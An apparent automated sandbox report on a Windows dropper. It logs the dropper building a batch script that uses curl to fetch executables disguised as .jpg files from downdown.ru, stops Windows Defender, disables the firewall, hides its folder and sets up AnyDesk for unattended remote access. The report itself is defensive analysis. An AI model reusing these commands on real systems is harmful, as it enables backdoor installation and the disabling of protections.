Process token adjusted: Debug

Source: C:\Intel\curl.exe	Code function: 52_2_00A2BAB0 SetUnhandledExceptionFilter,		52_2_00A2BAB0
Source: C:\Intel\curl.exe	Code function: 52_2_00A2BAE1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		52_2_00A2BAE1

Source: C:\Intel\svchost.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Intel\svchost.exe

Network Connect: 92.223.88.41 80

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: curl.exe PID: 8028, type: MEMORYSTR
Source: Yara match	File source: C:\Intel\AnyDesk\bat.bat, type: DROPPED

Allocates memory in foreign processes

Source: C:\Intel\dc.exe

Memory allocated: C:\Windows\explorer.exe base: 8960000 protect: page read and write

Disables Windows Defender (via service or powershell)

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend			Jump to behavior

Installs a global get message hook

Source: C:\Intel\Trays\Trays.exe	Windows user hook set: 0 get message C:\Intel\Trays\ShellEh6055.dll
Source: C:\Intel\Trays\4t-min64.exe	Windows user hook set: 0 get message C:\Intel\Trays\ShellEh6055x64.dll

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Intel\ 131.pdf"	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\driver.exe C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\Trays\Trays.exe "C:\Intel\Trays\Trays.exe" -tray
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\svchost.exe svchost.exe --install C:\Intel\AnyDesk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set allprofiles state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WinDefend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Intel\Trays\Trays.exe	Process created: C:\Intel\Trays\4t-min64.exe "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe AnyDesk.exe --set-password _unattended_access
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\dc.exe C:\Intel\dc.exe /D
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown

Source: C:\Intel\Trays\Trays.exe

Code function: 59_2_00407B2E SetSecurityDescriptorDacl,

59_2_00407B2E

Source: Trays.exe, 0000003B.00000002.2495320934.00000000023EA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Trays.exe, Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000002.2495320934.00000000023EA000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2500561259.00000000045C1000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: Shell_TrayWnd
Source: Trays.exe, Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000002.2500561259.00000000045C1000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: Progman
Source: Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Progmanidge
Source: 4t-min64.exe, 0000003D.00000002.2495345078.0000000010019000.00000004.00000001.01000000.0000000F.sdmp, 4t-min64.exe, 0000003D.00000002.2493451157.0000000000442000.00000008.00000001.01000000.0000000D.sdmp, 4t-min64.exe, 0000003D.00000000.1551953702.0000000000438000.00000008.00000001.01000000.0000000D.sdmp	Binary or memory string: Shell_TrayWndf
Source: Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndU
Source: Trays.exe, 0000003B.00000002.2500561259.00000000045C1000.00000020.00000001.01000000.0000000C.sdmp, svchost.exe, 0000003C.00000002.1663695308.00000000021D1000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: Shell_TrayWndSysPagerU
Source: 4t-min64.exe, 0000003D.00000002.2495478780.000000001001A000.00000008.00000001.01000000.0000000F.sdmp	Binary or memory string: CabinetWClassShell_TrayWndSysPager
Source: Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWndU
Source: Trays.exe, 0000003B.00000002.2495320934.00000000023EA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndI1

Source: C:\Intel\curl.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,	52_2_00A365B9
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	52_2_00A37185
Source: C:\Intel\curl.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_memmove,_memmove,_memmove,_free,_free,_free,_free,_free,_free,_free,_free,_free,	52_2_00A34344
Source: C:\Intel\curl.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	52_2_00A30445
Source: C:\Intel\curl.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	52_2_00A32524
Source: C:\Intel\curl.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	52_2_00A368EA
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	52_2_00A3682D
Source: C:\Intel\curl.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	52_2_00A3686D
Source: C:\Intel\curl.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	52_2_00A3292C
Source: C:\Intel\curl.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	52_2_00A3696D
Source: C:\Intel\curl.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	52_2_00A36B62
Source: C:\Intel\curl.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	52_2_00A36C8C
Source: C:\Intel\curl.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	52_2_00A36DA3
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	52_2_00A36D39
Source: C:\Intel\curl.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	52_2_00A38D4F
Source: C:\Intel\curl.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	52_2_00A32F2E
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	52_2_00A37148
Source: C:\Intel\Trays\Trays.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	59_2_045C45D8
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,GetACP,	59_2_045C7C38
Source: C:\Intel\Trays\Trays.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	59_2_045C46E3
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,	59_2_045C49F4
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,	59_2_045C6AE0
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,	59_2_045C6A94
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,	59_2_00407CF6
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,	59_2_00407CFE
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoW,	59_2_00407D06
Source: C:\Intel\Trays\Trays.exe	Code function: EnumSystemLocalesA,	59_2_00407BDE
Source: C:\Intel\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	60_2_021D45D8
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	60_2_021D6A94
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	60_2_021D6AE0
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	60_2_021D49F4
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,GetACP,	60_2_021D7C38
Source: C:\Intel\Trays\4t-min64.exe	Code function: GetLocaleInfoA,	61_2_00416640
Source: C:\Intel\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	62_2_021D45D8
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	62_2_021D6A94
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	62_2_021D6AE0
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	62_2_021D49F4
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,GetACP,	62_2_021D7C38
Source: C:\Intel\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	63_2_021D45D8
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	63_2_021D6A94
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	63_2_021D6AE0
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	63_2_021D49F4
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,GetACP,	63_2_021D7C38

Source: C:\Intel\AnyDesk\AnyDesk.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Intel\AnyDesk\AnyDesk.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\AnyDesk\AnyDesk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\AnyDesk\AnyDesk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Intel\curl.exe

Code function: 52_2_00A2EDCF GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

52_2_00A2EDCF

Source: C:\Intel\curl.exe

Code function: 52_2_00A2C584 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

52_2_00A2C584

Source: C:\Intel\curl.exe

Code function: 52_2_0098AC50 GetStdHandle,GetFileType,__vfwprintf_p,vswprintf,GetVersion,RegisterEventSourceA,ReportEventA,DeregisterEventSource,MessageBoxA,

52_2_0098AC50

Source: C:\Intel\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Disables DEP (Data Execution Prevention) for certain images

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers DisableNXShowUI			Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers DisableNXShowUI			Jump to behavior

Modifies Group Policy settings

Source: C:\Intel\dc.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Modifies the windows firewall

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set allprofiles state off

Yara detected Defender Control Hacktool

Source: Yara match	File source: 0000004B.00000003.1745385956.0000000002E6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004B.00000003.1745234234.0000000002E64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: svchost.exe, 0000002A.00000002.2495591652.000001DD6A302000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000002A.00000002.2495591652.000001DD6A302000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'

Source: svchost.exe, 0000003C.00000002.1659984140.000000000165A000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: release/win_8.0.14
Source: svchost.exe, 0000003C.00000002.1659984140.000000000165A000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: .itext.text.custom3b1bfbef334434f66640155f39e4c33brelease/win_8.0.1413967ce7c71d8c19a49dd697dbd0dec1c8d166bf
Source: svchost.exe, 0000003C.00000002.1658954704.000000000157A000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 13967ce7c71d8c19a49dd697dbd0dec1c8d166bfrelease/win_8.0.143b1bfbef334434f66640155f39e4c33b
Source: svchost.exe, 0000003C.00000002.1653748744.000000000019B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: >dbd0dec1c8d166bfrelease/win_8.0.143b1bfbef334434f66640155f39e4c33b

Source: C:\Intel\curl.exe	Code function: 52_2_009580B0 bind,WSAGetLastError,	52_2_009580B0
Source: C:\Intel\curl.exe	Code function: 52_2_0095C810 _memset,_strncpy,_strncpy,_strtoul,_strtoul,getsockname,WSAGetLastError,WSAGetLastError,_memmove,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,closesocket,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,htons,	52_2_0095C810
